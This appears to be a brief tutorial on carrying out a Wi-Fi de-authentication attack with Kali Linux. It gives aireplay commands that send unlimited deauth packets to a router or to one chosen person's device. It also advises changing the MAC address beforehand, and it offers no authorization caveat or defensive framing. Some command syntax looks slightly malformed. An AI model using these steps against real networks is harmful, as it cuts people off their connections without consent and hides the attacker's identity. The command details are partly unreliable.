DE-AUTHENTICATION ATTACK

Disconnects any client from any network.

You can find a detailed explanation for Deauth Attacks form here Concept of De-authentication Attack.

Need Kali Linux installed as a host or as a virtual machine. We generally use Kali Linux as a Virtual Machine. Check this link for how to Install Kali Linux in Virtual Machine.
Get the MAC Address/BSSID for the router/access point. Check the section How to scan nearby wireless networks of the post Wireless Network Sniffing.
If want to attack a person get the MAC Address/BSSID of the target. Check the section How to scan a specific network of the post Wireless Network Sniffing to get the MAC of a particular person.
Wireless Adapter which supports Monitor Mode.We are using ALPHA AWUS036NHA which has an Atheros AR9271 chipset.
Your wireless adapter should be in Monitor Mode. Check this link for how to Enable Monitor Mode for Wireless Adapter.
It’s good practice to change your MAC Address before scanning. Check this link for how to Change MAC Address in Kali Linux.

In terminal, type:

aireplay –deauth <no._of_packets> -a <AP_MAC> <adapter_name>

–deauth: to tell it’s a de-authentication attack. Instead of –deauth you can type -0.
<no._of_packets>: specifies how many numbers of packets you want to send for deauth. 0 (Zero) means infinite or send packet continuously.
-a: is an option where you need to specify Target’s router MAC Address.
<adpater_name>: type the adapter which is in monitor mode.
Example:

        aireplay --deauth 0 -a e2:33:44:55:66:77 wlan0

Sending infinite packets to the router’s mac address (e2:33:44:55:66:77) using the wireless adapter (wlan0) which is in monitor mode.

In terminal, type:

aireplay -0 <no._of_packets> -a <AP_MAC> -c <target’s_mac> <adapter_name>

aireplay -0 0 -a e2:33:44:55:66:77 -c e2:22:33:44:55:66 wlan0

Sending infinite packets to Target’s Device (e2:22:33:44:55:66) which is connected to the router (e2:33:44:55:66:77) using the wireless adapter (wlan0) which is in monitor mode.